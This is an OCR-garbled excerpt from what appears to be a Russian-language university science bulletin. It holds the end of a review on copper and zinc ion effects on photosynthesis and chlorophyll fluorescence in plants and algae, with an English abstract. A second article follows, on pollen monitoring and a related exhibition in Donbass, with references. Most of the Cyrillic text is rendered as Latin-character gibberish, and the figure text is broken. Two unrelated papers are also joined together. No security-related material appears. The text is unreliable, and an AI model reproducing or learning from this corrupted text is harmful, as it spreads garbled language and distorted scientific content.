CHIDKEHHE (ITyOopecIeHINHN XI0podHILIa @ TIPU CaMoi BBICOKOH KoHueHTparun Cu?*,
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Menp siBIS€TCS OHUM U3 AIIEMEHTOB, KOTOPBIA YTHETAeT MHOTHE (PU3HOJIOTHUECKHE U
OMOXMMHUYECKHUE MPOIECChI B Bogopociisix. E€ 3nauenne B Merabonmame Chlorella 6su10 Briepsbie
oricado ['puHoM 1 z1p. [13], KOTOpBIE HCCIIeIOBATIN YTHETAOIIUE ACHCTBUE XEIaTO00Pa3YIOITHX
areato Cu?* ma npixanme u Qorocuntes Chlorella pyrenoidosa. AKTHBHBIM TOKCHKAHTOM
pacTeHUi MOXKET ObITh MOH MEU, COSMHEHHE MEIU WM KOMIUIEKC, 00pa30BaHHBIA MEAbI0 U
pa3IMYHBIMU OpPraHUYECKUMH BelecTBamH [ 14].

VYuéneie yauBepcurera CanrméH (Ceyn) [15] wucmonmp3oBaid IJIsi OIEHKH OCTPOM
TOKCUYHOCTH MEJIM mTamM 3eneHoit Bonopociu Closterium ehrenbergii. Biusiaue TokcuaHOCTH
Cu?" na C. ehrenbergii onenusamu ¢ ucrions3oarnem CuSO4 B konnenTpamusx 0,1, 0,5, 1,0, 2,5
u 5,0 mr/n. Cpennsist > dexkTuBHAs KOHIIEHTpaIus cynbdara meau cocrassuia 0,202 mr/in. B
KyJbTypax, HOfBepraBIIMxcsa Boszeiictuio Cu?* B TeueHwe 6 4., HAOMIOZANIOCH CHIDKEHHE
s dexTuBHOCTH (HOTOCHHTE3a KJIETOK, MPU STOM 3(D(HEKTUBHOCTH 3HAUUTENBHO CHIDKAIACH
uepes 48 4. PesynbTarel mokasamu, 4o Cu?* BEI3BIBAET OKUCITHTENBHBINA CTPECC B KIETOYHBIX
OpraHesiiax U cepbe3Hble PU3HOIOrHIECKUe MOBpekIeHuUs B KieTkax C. ehrenbergii u maxe ux
rubesb; 6oJiee TOro, pe3yJIbTaThl SICHO YKa3bIBalOT Ha TO, uTo C. ehrenbergii mpeacrasisier codoi
MOTEHIIMAIFHO MOIIHYIO TECTOBYIO MOJIENb JJISi OLIEHKHM TOKCHYHOCTH METAJUIOB B BOJHBIX
OpraHu3Max.

HccnenoBanuss Mapkuna JK.B. m gp. [16] ma Bomopocmsix Chaetoceros muelleri,
Tisochrysis lutea u Plagioselmis prolonga mokasamu, 4yro mpu A00ABICHUH pa3THYHBIX
koHteHTpanuii meau (0,05-0,2 mr/i), hiyopecuenus xinopodumia a Bogopociu C. muelleri mpu
koHneHTpanusx 0,05-0,15 Mr/i Ha TpeTHii IeHb SKCIIEpUMEHTa Oblila paBHA KOHTPOJIBHOM IIpo0e
Cpelibl, a Ha CeIbMOM JIeHb HaOI0AaIoCh €€ CHIbKeHue. Y Bogopociu T. lutea duryopectienims
NP TAKKX )K€ KOHIIEHTPALMIX MM Ha TPETHH JeHb Takxke Oblta paBHa KOHTpomo. Ha cexpMoit
JIeHb onbITa 1pu KoHueHTpanusax 0,05-0,2 Mr/n naHHbIN oKa3aTeNs ObLT 3HAYUTENBHO BBIIIE, U
addexkt umen pgo3zo3zaBucuMbii  xapaktep. Coxepkanue 0,05 Mr/n memu TOTABIAIO
dbayopecuenimio  xnmopoduuia a P. prolonga B Teuenue skcrmepumeHta. B pesyibrare
uccienoBaTeNsiMi ObUIO BBIBIEHO, 4To K Cu Oosiee YCTOMUMBBI ObUIM TECT — KYJIBTYPHI

Bozopocieii C. muelleri, a Hanmenee ycroiuusbivu — P. prolonga.

TokcHYHOCTh IIMHKA TPOSBISETCS PEAKO M TOJNBKO MPU BBICOKMX KOHILIEHTPALMSX.
ToKCHUHBIE KOHLEHTpAmuH Zn?* CHIKAIOT KOHIEHTPAIMIoO XJIOpOGWINTa U TMOJABIAIOT
doroxumuueckyro 3¢ pextuBHOCTH hoTocucremsr 1 [17,18].

PeaKInio IPHpPOIHOTO cOObIIECTBA (PUTOTUIAHKTOHA HA PA3IHUHbIe KOHIEHTparun Zn%"
oueHnBamu Kapommua P.JI.  u coaBT. [19] ¢ momomiplo cTaTudeckoro JabopaTOpHOTO
Oonoananm3a. B sKkcneprMeHTaIbHBIX YCIOBHAX OMOAHAIM30B ObUIO MOKA3aHO CYIIIECTBOBAHUE
HECKONBKUX YCTOMumMBBIX K Zn?* BumoB Bomopocneil. HamGonee BaKHBIME U3 HHUX OBUIH:
Chlorella vulgaris Beij (Chlorophyceae, Chlorococcales), Nitzschia palea Smith u Gomphonema
parvulum Kiitz. (Bacillariophyceae). Takxe ObUIO TNPOAEMOHCTPHPOBAHO, HYTO pPEAKIHS
BOZIopoCIel Ha Zn?" m36mpaTenbHO 3aBHCeNa OT KOHIEHTpAuH: TIpu 10 MI/7 y IHaTOMOBBIX
BOJIOpOCIel Habmroaancs cTuMymupyromi 3¢dekt; mpu 25 Mr/m HabI0AaI0Ch TOKCUYECKOEe
neiictue 1uHKa. Hanpotus, poct Chlorophyceae criumynupoBaics mpu MakCHMaIbHOM YPOBHE
Zn*,

Buasl Mopckux Bogopociei u3 npruOpeHOM 30HbI, 3aTPSISHEHHOM TSHKEIbIMU METalIaMU
(3amuB Cemnetn6a) B mrare Puo-me-XKaneiipo (bpaswnms), comepkanud paszinyHble YPOBHHU
KOHIIEHTparmu Zn?*. Y HEKOTOPHIX BHOB COJEpKaHMe IMHKA ObUTo B 20 pa3 BHIIIE, 4eM B
He3arpsA3HeHHo MecTHOCTH [20]. bpliio npoBeneHo UcCIeA0BaHNE M0 U3YUEHHIO BIUSHUS IUHKA
Ha pasHble BUabl Bojopocned. Jlms stoit memu BeiOpamm miects BuoB: Ulva lactuca,
Enteromorpha flexuosa, Padina gymnospora, Sargassum filipendula, Hypnea musciformis u
Spyridia filamentosa, koTopsie KyJIbTHBHPOBAIM B Ja0OPATOPHBIX YCIOBHSIX TPH IISTH
KOHLIEHTPALAAX Zn?* (0,01, 0,02, 0,1, 1 u 5 mr/x) B Teuenue 21 mus. Bce BHmpI moru6mm npu 5
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mr/n Zn?*, mea Buna (U. lactuca n E. flexuosa) moru6mu npu 1 mr/ 1, a omun, H. musciformis,
noru6 mpu 0,1 mr/ n. Camas HU3Kas KOHIEHTpamusi Zn’', KoTopas MOJaBIsIa POCT BCEX
uccienyemMbix BuaoB, coctaBistia 0,02 mr/n. s Oypoii Bomopociu P. gymnospora Obiin
3aperncTPUpPOBAH CaMblil BRICOKHIT ypoBeHb HaKomaeHus Zn®', a ams H. musciformis — camprit
HU3KUH. Pe3ynbTaThl TONEPAHTHOCTH M HAKOIUICHUS B JIAOOPATOPHBIX YCIOBHUSIX, CBSI3AHHBIC C
pe3yJbTaTaMu IOJICBBIX MCCIICIOBaHM, yKa3piBaroT Ha Bujabl Padina m Sargassum kak Ha
Jy4Ie BUABI JUIi MOHUTOPHHTA TSDKEIBIX METAJIOB B NMPUOPEXKHBIX pailoHax, a Takke Ha
MOTEHIIMAIFHOE UCTIOIBb30BAaHUE X OMOMACCHI IS YIAICHHS TSDKENIBIX METAJUIOB U3 CTOYHBIX
BOM.IIpOBOMMIIMCH  DKCIIEPUMEHTHI TI0 OMNPENCICHUIO BIMSHUS TSDKENIBIX METAUIOB Ha
(boTocHHTETHYECKHE TUTMEHTHI OOHapy:KeHHbIe B KieTkax Bogopocieir Chlorella vulgaris.
Bupa6ore Kapaga K. u ap. [21], koTopas mocBsieHa OleHKe OTKIMKA 32 MaJIble BPEMEHHBIE
MIPOMEXYTKH, aBTOPBI YTBEP)KIAIOT, YTO MPOUCXOINIIO CHIYKEHHE KBAHTOBOTO BBIX0/1a, BHICOKUE
xoHnenTparuu Cu?* MHrE6MPOBATH CKOPOCTh (JOTOCHHTETHYECKOTO TPAHCIIOPTA JIEKTPOHOB,
oco0enHo ¢ortocucrembl II, mpenATcTBOBaIM OUOCHHTE3Y MUTMEHTOB U JIMIHUJIOB W,
CIIEIOBATENBHO, YIBTPACTPYKTYPE XJIOPOIUIACTOB, TEM CaMbIM OTPHUIATENIHHO BIHSAA Ha
3 ekTHBHOCTL hoTocHHTe3a. Zn?* ke meficTBOBAN Kak 3aMeHHTenb Mg?', KOTOpBIii sBsercs
[EHTPAIbHBIM aTOMOM XJIOpOo(rinia. DTOT MEXaHU3M MPUBOIMI K HapylIeHUIO (poTocHHTE3A.
[urk B koHtenTpanuu 100 MM (~6,5 mr/im) camskan Fv/Fm B KieTkax moutu 10 Hy/s mocie 30-
MUHYTHOW HWHKYOaIluy. AHAIW3 WHIAYKIMOHHONH KPHUBOH 3aMeIJICHHON (iryopecieHIH
xaopodwia B kietkax C. vulgaris mo3BojmiI MPeAnoNokKUTh UCCIICIOBATEISIM, YTO paHHee
TOKCHYECKOE JieHcTBHE Zn?' B yKa3aHHBIX KOHIEHTPALMSAX MPOSIBIIAIOCH HE TOTBKO B YTHETCHHH
TpaHCIopTa 31eKTPOHOB B hoTtocucreme II, HO U B CHMKEHUH SHEPTU3aUuHN (POTOCUHTETUYECKUX
MeMmOpaHn. Takwe ke pe3ynbTarhl ObUTH monydeHbl Konmsuop I1., Byrapesud A. u ap. [22].
OnHako UMM OBIJIO YCTAaHOBIIEHO, YTO TpHU OoJiee UIMTETHHOM KYJIbTUBUPOBAHUH KIETOK B
MIPUCYTCTBUU BBICOKMX KOHIICHTPAIIMA TSDKEITBIX METAUIOB, MOXKET MPOHCXOIHUTH POCT
KyJabTypel. Ilo MHeHHIO aBTOpOB, 3TO cBsizaHo ¢ Tem, uro Chlorella vulgaris o6mamaer
crienuuyueckoil ycroiunBocThio. OJHAKO, BO3MOXKHO, aBTOPbl HE YYUTHIBAJIU (DAaKkT TOro, 4yTo
OoIbIlIasi 4acThb MOHOB METAJUIOB CBS3BIBAIOTCS C TMOTHOIIMMHU KJIETKaMH C 00pa3oBaHUEM
TPYIHO JUCCOIMUPYIONX KOMILIEKCOB.

BobiBoab1. MoHBI Me/Ti BBI3BIBAIOT CEPHE3HBIN OKUCIUTENBHBIN CTPECC B KIIETKAX PAaCTEHHIA
Y MaryOHO BIMSIIOT Ha CBETOBBIE PeakIny (POTOCHHTE3a U CTPYKTYpPY (hoTocHCcTEM, OCOOECHHO Ha
dortocucremy II, 4To MPUBOAUT K CEPHE3HBIM (HU3UOTOTUIECKUM OBPEIKACHUSIM B KIIETKAX, YTO
3aBUCHT OT KoHIeHTparmn Cu?* u Bpemenn sxcriosumyy. Hanbosee yCTOHYMBEI K HOHAM MEIH
Citrus grandis u Chaetoceros muelleri, a nanmenee — Citrus sinensis, Closterium ehrenbergii,
Plagioselmis prolonga.

[{uHK OKa3bIBaeT MEHEE BHIPAKEHHBIN TOKCHUECKH (D GEKT, B CPaBHEHUU C HOHAMH MEJTH.
OTKIMK Ha JEWCTBHE ITUHKA SIBISIETCS BHIOCHCIM(DUICCKUM. MOXHO BBIICIHTH OTICITBHBIC
WH/IMKATOPHBIC BUIbI, KOTOPhIE MOTYT OTpa)kaThb TOKCHYHOCTH 3arpsi3HEHUH ITMHKOM. K HUM
otHocsitest Padina gymnospora u Sargassum filipendula. MccnenoBanust uisi Takoro Buja
KYJIBTYD SIBJISIFOTCS aKTyaIbHBIMU.
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EXPOSURE TO COPPER IONS (Cu?*) AND ZINC (Zn?*) ON THE FLUORESCENCE OF
CELLS OF HIGHER PLANTS AND PHYTOPLANKTON

Annotation. The paper presents an overview of information sources devoted to the study of the influence of
various concentrations of copper (1) ions and zinc (I1) ions on the state of the photosynthetic apparatus of higher
plants and phytoplankton. Examples of the influence of various concentrations of zinc and copper on woody and
herbaceous plants, algae and phytoplankton are given, the main features of the effect on the photosynthetic
apparatus are considered. It is shown that metals have an effect on the quantum yield, the functional state of
photosystem Il and the parameters of chlorophyll fluorescence.

Keywords: fluorescence, photosynthesis, heavy metals, photosystem 1.
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VJIK 581.15 : 902.672 (477.60)

HUCITOJIb30BAHUE ITAJIMHOJIOI'MYECKHUX JAHHBIX B OLIEHKE
MMPOMBIIIIVIEHHBIX 9KOTOIIOB TOHBACCA (3KCIIO3UIINN)

Axyoosa C.A.
Hayunwui pyxosooumens: Cagponos A.H., kano.ouon.nayk, zae.kagheopoii
TIoy BIIO «/IOHHY»

Annomayus. B paboTe mpeCcTaBICHbI TaHHBIC JEMOHCTPAIIMOHHOTO 3KCIIEPUMEHTA TI0 HapabOTKaM M3y4CHUS
MBUTBLBI B TEXHOT€HHO HAIPSHKEHHOM peruoHe — JloHOacce. YCTaHOBJIEHO, UTO B PE3yJIbTaTe MOJYUYEHHBIX
JAHHBIX CYIIECTBYET BO3MOXHOCTH 3KCIIOHMPOBaHUs ()OTOMATepHaia B Ka4eCTBE OOBEKTAa BBICTABOYHOMN
JIeATEIHHOCTH B JIOHEIIKOM PETUOHE M HA MEXKAYHAPOIHBIX HAYYHO-TEXHHUECKUX MEPOTIPUSTHSIX, HAIPUMED, HA
MIPOBOJIUMOM B TEXHUYECKOM YHHBEpCHTETE hopyme.

Kniouesvie cnosa: mamuHONOTHsA, MBLIbIA, GUTOMHAUKAIWS, [loHOACC, SKOIOTHUECKUI MOHUTOPHHT.

W3ydeHue nbuiblibl BUJOB TEXHOTEHHBIX IKOTOIOB SIBJISETCS] IPUOPUTETHON 3a1aueii B
JIOHEIIKOM SKOHOMMYECKOM peruose [1, 2]. B OonbpIIMHCTBE cilydaeB HaydHble pa3paboTKH
PETMOHAIBHBIX YUYEHBIX MPOXOAAT Ipolecc Oubnanorpad@uyeckoro ydyera M CTAaHOBATCA
O0OBEKTOM KOJUIEKTUBHOIO O3HAaKOMJIEHMS Ha MEXIYHapOAHBIX KOH(MEpeHUusX WU
IKOJIOTHYECKUX PopyMax [3—6]. B ocHOBE MaTMHOIOTHYECKOTO0 METOJIa JIekKAT pa3paboTKu
yueHbix Poccuiickoit @enepaunu [7], 4To Takke BXOAUT B OOIIYIO MPOrpaMMy IO OLEHKE
(xBaHTH(UKALINHN) TPOMBIIIIICHHO HANIPSDKEHHBIX YKOCHCTEM B peruoHe [8, 9].

Ilenp paboThl — NpPEACTaBUTH [JaHHbIC JEMOHCTPALlMOHHOIO SKCIEPUMEHTa IO
HapaOOTKaM W3y4YEeHUs NBUIBIBI B TEXHOTEHHO HampshkeHHOM peruone — JlonOacce;
YCTaHOBUTb, YTO B pE3ylbTaTe€ IOJYYEHHBIX JaHHBIX CYIIECTBYET BO3MOXKHOCTH
SKCIIOHUPOBaHUS (oToMarepuana B KayecTBE OOBEKTa BBICTABOYHON JIE€ATENbHOCTH B
JIOHELIKOM PETMOHE U Ha MEXTYHAPOIHBIX HAyYHO-TEXHUYECKNX MEPOIPUITHSIX, HAIIPUMED,
Ha IPOBOJIMMOM B TEXHUYECKOM YHHUBEpPCUTETE (popyMe.

PaboTa npoBe/ieHa B yCIOBHUAX OTKPBITBHIX JaHAMIA(THBIX cucTeM B ropojie JloHelke u
€ro arjioMepanuy B COOTBETCTBUU C TPEOOBAHUSMHU HKOJIOTMYECKOTr0 (PUTOMOHUTOPUHTA U
MHIVKALUH 110 U3YYEHUIO PACTEHUM U MX CTPYKTYPHBIX 351eMeHTOB [ 10—13], uTo B KOMIUIEKCE
paccMmarpuBaeTcsl Kak BOCTpeOOBaHHOE HAyYHOE HaIlpaBJIEHHWE B TOM YMCIIE B Mporpammax
paloThI CTYAEHUYECKOI0 HaydyHOro oOriecTBa Kadeapbl O0TaHUKH W 3KOIOTUU JTOHEUKOro
HAI[MOHAJLHOTO YHUBEpPCHUTETa, JadopaTopuu 1O (UTOMOHUTOPUHTY B JOHELKOM
HKOHOMHUYECKOM perunoHe [14-19] u HemocpencTBEHHO MACHTU(PHUKAIMU SMOPHOHAIBHBIX
CTPYKTYp pacTeHuii-unaukatopoB JJoubacca [20-23].

Heo06xoauMoCTh SKCIIOHMPOBAaHUS JAHHBIX MO TBUIBIE BBIABIEHA B CBSA3U C
BOCTPEOOBAHHOCTBIO 3TOM TEeMBbI B pas3fefax HayYyHO-TEOPETUYECKOro 3HaHus (I
BBISICHEHHUS! CIOCOOOB aJamnTalui pacTeHUH K (akTopaM Hecneuu(uiyeckoro crpecca Io
CHCTEME BbIKUBAHUS B PETIPOIYKTUBHOM cdepe), a TakyKe BO MHOTOUHCICHHBIX MPUKIIaIHbBIX
BOIIPOCax, HAIIPUMED, IIPU CAHUTAPHO-TUTHEHUYECKOM OLIEHKE BO3yXa B IEPHO/IbI CE30HHBIX
aJIepruii, Mo BBISICHEHUIO HanboJiee ONacHbIX aJlJIEPreHOB B cOcTaBe (DEPMEHTHON CUCTEMBI
NBUIBLIEBOTO 3€pHA Pa3HbIX BHJIOB, B NPOBOJMMOM 3KOJOTMYECKOM MOHHUTOPUHIE TEX
HKOTOIOB, KOTOPHIE SIBJISIOTCS] YaCThIO JMAarHOCTUYECKOW MPOrpamMMbl MMOJHOMACIITaOHOTO
spdexta. B CBA3M C HAKOMJICHHBIMM JAaHHBIMH BCETJa BO3HHKAeT HEOOXOJIUMOCTh
MIpe/ICTaBICHUS] PE3yJIbTATOB I 00CYKIEHUS IUPOKOM 00IIECTBEHHOCTH KaK Hay4YHOU, TaK
U B MEPONPUATHAX MPOPOPUEHTAIIMOHHON NEATEIHHOCTH Ha OMOJOrMYecKoM (axyiabTeTe
JIOHEKOro HaIlMOHAJIBHOI'O YHUBEPCUTETA.
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Pucynok 1 orTpaxkaeT 4YacTb SKCIOHUPOBAHHOW pabOThl MO MPOBOJUMOMY
IKOJIOTHYECKOM (UTOMOHUTOPUHTY B JloHOAacce W HEMOCPEACTBEHHO MPHMEPOB TIO
W3YYEHHUIO MbUIBLIBL.

SKONOr+M4eCKMt MOHUTOPUHI HA OCHOBE ®UTOUMHOAUKALIMK
B NPOMbILWNEHHOM PETMOHE

CTPYKTYPHO-®YHKUUNOHAJIbHAA BOTAHUKA:

BapuaHTbl MOHUTOPUHIOBLIX NPOTrPaMM C NOMOLLIO PACTEHWIA: o] po6: oprat Mn (] -]
. . MONHTOPHHI’& (‘IYO cnpasennuMeo ANsA TeppuUTOpUMW COBpeMeHHOoro
1) akr " MOHUTOP ; O ) 1cp Tpexr IX 3apauv:

2) obwan anarHocTuka (Hecneumd Tb) U P 0 cTpecca.

* co3naHue CeTH NYHKTOB HabnioaeHus,;
* BO3MOXHOCTb ONMepaTuBHOIo KOHTponsa OGBEK‘I’OB:
«  BbIGOP KOHTPONUPYEMbIX NAapaMeTPOB W NoKa3aTtenei COCTORHUA
O6GBLEKTOB ¥ MHAVBUAYANbHbIX aHANUTUHECKUX NAapaMeTPOB,
e e oS e HeobXoANMBIX U [JOCTATOUHbIX AN aNeKBaTHOro ONUCaHNs
: COCTOSHUS SKOCHCTEMBI.

1) aKonoruyeckue (A BapbUp . Gannsl, KPUTEPUK, UHGEKCHI);

2) aTMAMYHBIE NPOABNEHUS, YPOICTEA ((DEHOTUNMIECKAs TEPATONOMUS).

Poccun

Cnocobbl AoKasaTenbCcTBa:

1) Tb (CT: HaA U B
2) xap*rorpaq:uwecxau y - no conp ™ rpaAauun Ha NNOCKOCTH.

NANUHONOIMNMYECKUUA CKPUHUHI B MOHVITOPI/IHI'OBOVI
I'IPOI'PAMME LI,EHTPAHbHOI'O AOOHBACCA
.

Yen. o6oanauenun
ouwee xon-eo/ obusee xon-s0/

H ApOesmax ‘@ npoesnax
%078 ™o @ o120 220%
T Je-o  omx@e-10 212%
[sr-e0  v7% [ 01-10 224% »

[e-m  es% [ m-2s 100%

e e

e70 moes npotiol nmoxeduc
OB xon

\ N ‘g 3
Ku-lcx o %
\ « >

P 7;“ 60" : w: '-

T

T e Ay LY
‘ G g I

MOHUTOPItHIOBLIM TOUKaM 1-10
Toukam 1-10 -
S| Y @ ‘
Soaee20 13-14 10-11 5-7 Boaee 45 811 3-10 5-7 5-6
Atriplex Artemisia Cichorium Ailanthus Achillea Ambrosia Artemisia Cyelachaena Atriplex Echium Chen fium
OBoSuterrbIe I2KKEIE NO MOKITOPIKIOBLIM ToUkay 11-15 (pekpeaurtorible 30K OSobwenKbIe I2HHLIE N0 MOKITOPUHIOBLIM ToUkam 11-15 (pekpea WoKKLIE 20K L)
— o
& < ! 3 . @
Gonee 15 7-8 5-7 57 B Soaee 35 6-8 6-8 67 45 35
[S Atriplex Achillea Cichorium Ailanthus Ambrosia Artemisia Cirsium Echium Plantago Cichorium

Puc. 1 — Buzyanuzanus nmporpaMMbl aJMHOJOTHYECKOTO CKPUHUHTA B IOHEIIKOM
SKOHOMHUYECKOM PETHOHE
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Pucynox 2 conepxur wuHbopmamnuio wuHPopManuoHHoro creHma 2022 rona,
MOJATOTOBJICHHOTO JUISI JIEMOHCTpAIMK Ha HaydHOM ¢opyme B J[OHEIIKOM HaIMOHATHLHOM
TEXHUYECKOM YHHUBEPCHUTETE.

Kadenpa «boTaHUKH U SKOJTOTUNY
I'OVY BIIO «/loHenkuii HallMOHAJIBHBIM YHUBEPCUTETY

Berigenens paboume ITOKa3zaTeld IMAJIMHOIOTHUYECKOIO COJEePIKAHUS IS
OpPOBEIIEHUS  HSKOJOTHUECKOTO MOHHUTOPHHTA ypOaHU3UPOBAHHOM, TeXHOTEHHO
HATIPSKeHHOU M KBAa3UIIPUPOTHOM SKOIOTHISCKHX Cpell B JIOHETTKOM SKOHOMHUITECKOM
permvoHe.

s hopmuporanms FKOJIOTHICCKOH IITKAJTET opu IpOBeICHUH
KBAaHTH(MUKAITHOHHBIX  MEPONPHATHII  00A3aTenbHBIM  IIPHHIIUIIOM  CUHTAETCA
dbopMHupoOBaHUe JHCKPETHOW pPAaH;KUPOBAHHOW JHHHHU IIPH3HAKOB HJIH CBOWCTB
H3yJ4aeMOro oOOBeKTa. DOKCHepHMEeHT pealn30oBaH B TpPEX  HAOPaBISHHIX
UIeHTU(HUKAIIMN BHEIIHUX CTPYKTYPHBIX XapaKTepPUCTHK IIbUIBIIEBOTO 3€pHA: II0
o0Imell TUHAMHUKe M HACBIIIEHHOCTH CKYJIBOTYPhI, 10 BAPUAHTAM OpPHAMEHTAIlUH M
KaTerOPHUAM 3XHHOIO(MATHOCTH, XapakKTepHOW IS TIpedcTaBuTeleil ceMelcTB
ACTPOBBIX, MITIUKOBBIX, KAITYCTHBIX, U TI0 BEIPAXKEHHOCTH MMOPOBOH TpeGeHUIATOCTH,
KOoTOpasti B HOpPME MaKCHMAallbHO OKpallleHa ¥ I[IO-Pa3HOMY BBIpaxKeHa ¥
OpeacTaBUTENIeH 3THX TAKCOHOMUYECKUX I'PYIIIL.

b
Puc. 2 — [TanuHOCTpYyKTYypHas CepHsi UHIAUKATOPHOTO BHUJIA PACTEHUH B SKCIIO3HUIIUU
BBICTaBKH MEXKYHAPOIHOTO opyma:
A — mumocTpaTuBHAs 9acTh, b — TeKCTOBAs YacTh

ITo IMPUYUHEC TOI'0, YTO JAHHBIC BHICTABKH HE ObLIH 01'[y6J'II/IKOBaHI>I, HaMU MPECAIIpHUHATA
aKTyalbHas TOMBITKA BOCIOJHHUTH 3TOT HEJAOCTATOK B cucTeMe paboThl CTyaeHUeCKOro
HayyHOro oomecTBa JOHEIKOro HalMOHAJIBHOTO YHUBEpcUTETa (YTOYHEHHS OO0BEMOB
cOOpOB CTyEHTaMHU 3a MOCIeIHUE ToAbI) [24].
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Puc. 3 — /IluHaMuka N3MEHEHHUs] KOHUEHTPALMK NbUIbLbI B Bo3ayxe ¢ 2019 mo 2022 roast

(0003HauYEHBI 30HBI HETIOCPEICTBEHHO COOpa aBTOPOM MAIMHOJIOTUYECKOTO MaTepraa)

Takum 00pa3oM, yCTAaHOBJIEHO, YTO B PE3yJbTAaTe MOJYYCHHBIX JAaHHBIX CYIIECTBYET
BO3MOKHOCTh O9KCIIOHMpOBaHHUS (oToMaTepuasa B KayecTBe OOBEKTa BBICTABOYHOM
JEATEIbHOCTH B JIOHEKOM pErHOHE W Ha MEKIYHapOJHBIX HAyYHO-TEXHMYECKHUX
MEpONPUATHIX, HAPUMEp, Ha TPOBOAMMOM B TEXHUUYECKOM YHUBEpCUTETE (opyMme, B paboTe
MIpPE/ICTaBICHbl JaHHbIE JEMOHCTPAIlMOHHOTO JKCIEpPUMEHTa IO HapadOTKaM H3y4eHUs
IBLIBIBI B TEXHOI'€HHO HaNpshKeHHOM perroHe — JlonOacce.

CIIMCOK JIMTEPATYPbBI

1. Mupnenko H.C. JKuzHecnocoOHOCTh MBLIBLBI HEKOTOPBIX BHJOB JAPEBECHBIX pacTeHuid JloHenkoii
ariomepauuun // Jlecnoit BectHuk. Forestry Bulletin. — 2022, — T. 26. — Ne 6. — C. 55-61.
https://doi.org/10.18698/2542-1468-2022-6-55-61

2. boiiko H.B. [NamuHorpaduueckue pe3yiabTaThl Uil HEKOTOPHIX (uTomHAnkaTtopoB JloHOacca // BectHuk
cTyaeHdeckoro HayqHoro obmectsa ['OY BIIO "/lonenkuit HaroHansHbIH yHUBepcutet'. — 2020. — T. 1. —
Ne 12. - C. 27-31.

3. AspaumoBa T.B. Dxonorndeckue pa3pabotku B JlonGacce: Oubnmorpadguyecknii yder n MOMyssipu3amus
Hay4YHBIX HCclleoBaHui // BuOnmoTekn u sKoIormyeckoe MpocCBeUleHHe: TeopHs M IpakTHka. — MockBa:
I'TIHTB Poccun, 2022. — C. 11-15. https://doi.org/10.33186/978-5-85638-255-5-2022-11-15

4. Kanmnaunaa A.B. Cocrostare nexomomysanuii BumoB ponaa Oenothera L. B TpaHC)OpMHUPOBAaHHBIX 3KOTOMAX
Houbacca // JlecoxossiictBenHast  uHpopmamus. — 2022, - N 3. — C. 135-144.
https://doi.org/10.24419/1.H1.2304-3083.2022.3.12

5. CatoroB A.M1. MaankaTopHast pojiib paCTEHUH B CHCTEME YIPABICHNSA TOPOAOM B IPOMBIIIIIEHHOM PETHOHE
/ 1/ Dxonoruueckas curyanus B JJoubacce. — M.: U3a-80 MHOIITY, 2016. — T. 1. — C. 288-293.

6. CadponoB A.M. Koppekius (UTOMHAMKAMOHHBIX KPUTEPHEB OLEHKH Cpeasl B  CBS3H  C
MHUKpPOKJIMMAaTHYeCKUMH H3MeHeHusiMH B JloHOacce // I'moGanbHble KIMMaTHYeCKHE W3MEHEHMS:
peruoHabHbIE 3G PEKTHI, MOJIENH, TPOTrHO3bI: BopoHex: Lindposas nomurpadus, 2019. Tom 2. — C. 166-167.

7. Muprenko H.C. CnopoBo-neuibiieBoid Metoq B JlonOacce Ha OCHOBE HayYHBIX PEKOMEHAAIMH YYEHBIX
Poccun //[Jonenkue urenust 2017: Pycckuii MUp Kak IMBHIIM3allMOHHAs OCHOBA HAy4YHO-00pa30BaTeIbHOTO U
KynbTypHOTO passutus Jonbacca: Marep. MexxayHap. HaydH. koH}. — C. 97-99.

27



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennsie Hayku. — 2023.

8. Kanununna A.B. ®uToMHIMKAIMOHHBI MOHUTOPUHT Ha OTBAJIaX YTOJBHBIX LIAXT I'. MakeeBKH, BHEAPECHUE
JAHHBIX B oOpa3zoBaTenpHyI0 mporpammy // Jlonenkne urenus 2017: Pycckuii Mup Kak IMBIIIM3AINOHHAS
OCHOBa HAyYHO-00pa30BaTeIbHOTO U KyJIbTypHOTO pa3Butus Joubacca: Jonenk: JouHY, 2017. — C. 80-82.

9. I'epmonoBa E.A. Buzyanu3zamnust MUKpOKIMMAaTHIECKIX N3MEHEHUH HHANKATOPHBIX IPU3HAKOB B JIOKAJIHHBIX
MOMyTSISIX pacTeHui T. Jlorerka // I'moOanpHBIE KIMMATHYECKUE W3MEHEHHS: PEerHOHaJbHBIE Y(PQEKTHI,
MOJIeNH, IPOTHO3EL. - Boponex: M3n-Bo «{udposas nommrpadus», 2019. Tom 2. C. 39-40.

10. CadonoB A.H1. Dxonoro-nanuHonorniaeckas curyanus B JJonbacce (2014-2020 rr.) // TIpoOineMsI 3K0JI0THHA
Y OXpaHbl MPUPOABI TEXHOTEHHOTO pernona. — 2021, — Ne 1-2. — C. 32-38.

11. CadonoB A.W. HoBbie BHIIBI pacTeHUI B 3KONOTHYeCKOM MoHHTOpHHTe JloHOacca // BectHuk JloHenkoro
HanuoHanbHOro yHuBepcurera. — Cepust A: EcrectBennsie Hayku. — 2020, — Ne 1. — C. 96-100.

12. CadonoB A.U. boraHMKO-IKOJOTMYECKHE MapKepbl KBaHTH(UKAIMU NMpUpoaHBIX cpen B Jlonbacce //
[TpoGiemMbl S5KOJIOTUYU U OXpaHbI NPUPOBI TeXHOreHHOro pernona. — 2020. — Ne 3-4. — C. 40-47.

13. Cagonor A.M. TkaHeBask THarHOCTHUKA SMOPHOHAIBHBIX CTPYKTYp GuToMHInKaTOopoB JJonbacca / BecTHHK
Jonenkoro HannoHampHOTO YHUBepcuTeTa. Cepus A: EcrectBennsie Hayku. — 2020. — Ne 3-4. — C. 110-115.

14. Cadonor A.U. [lepcnexruBHbIe GpuToMHANKATOPEI JJoHOAcca st OHOTECTHPOBAaHNUS // DKOJIOTHS POTHOTO
Kpast: MpoOJIeMBl U ITyTH uX pemreHus. — Kupos: Batl'Y, 2020. — C. 161-163.

15. Cadponor A.M., Muprenko H.C. [lannHONOTHYECKUI CKPUHUHT B MOHHTOPHHTOBOH MpOTpaMMe
Hentpansroro JJonbacca // IIpo0iaeMbl 3K0JIOTHH U OXPaHbI MPUPOABI TEXHOTEHHOTO perroHa. — 2019. — Ne 3-
4. - C. 43-48.

16. CadonoB A.U. CopHo-pynepanbHas ¢pakius ypoaHodiopsl JloHeKod arioMepanyy Kak MOKa3aTesb
TpaHchopMaIuy JIOKaIbHBIX dKocucTeM // TpaHchopmaius 3KOCHCTEM IMOJ BO3ICHCTBHEM MPHUPOTHBIX U
AHTPOIOTeHHBIX (hakTopoB. — Kupos: Batl'V, 2019. — C. 13-16.

